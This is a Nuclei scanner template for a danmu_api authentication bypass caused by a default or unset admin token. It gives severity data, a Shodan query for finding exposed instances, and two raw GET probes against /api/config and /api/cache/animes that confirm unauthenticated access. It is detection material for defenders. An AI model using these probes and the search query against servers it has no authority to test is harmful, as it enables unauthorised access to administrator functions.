CVE-2026-116485: danmu_api - Unauthenticated Access to Admin API via Default Token

id: CVE-2026-116485

info:
  name: danmu_api - Unauthenticated Access to Admin API via Default Token
  author: kosoyyagent
  severity: high
  description: |
    danmu_api before 1.21.7 contains an authentication bypass caused by default TOKEN usage and unset ADMIN_TOKEN, letting unauthenticated attackers modify server environment configuration via specific API endpoints, exploit requires default token configuration.
  impact: |
    Unauthenticated attackers can modify server environment, lock out operators, cause SSRF, and trigger redeployment, severely impacting server integrity and availability.
  remediation: |
    Update to version 1.21.7 or later.
  reference:
    - https://github.com/huangxd-/danmu_api/commit/6e93478064a0ce4e7ed3bc2eae88adaad1b7ab02
    - https://github.com/huangxd-/danmu_api
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116485
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-116485
    epss-score: 0.02349
    epss-percentile: 0.83794
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"弹幕api"
  tags: cve,cve2026,danmu-api,unauth,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/config HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'Welcome to the LogVar Danmu API server'
          - '"hasAdminToken":false'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/cache/animes HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
# digest: 4a0a0047304502210087321e297003cbb836863539187202a36b069594b521f557b019219069ea11ff02202206b584df55b91efea8dadc08cc9b4c02795f89261d172a776dbeed75234507:922c64590222798bb761d5b6d8e72950

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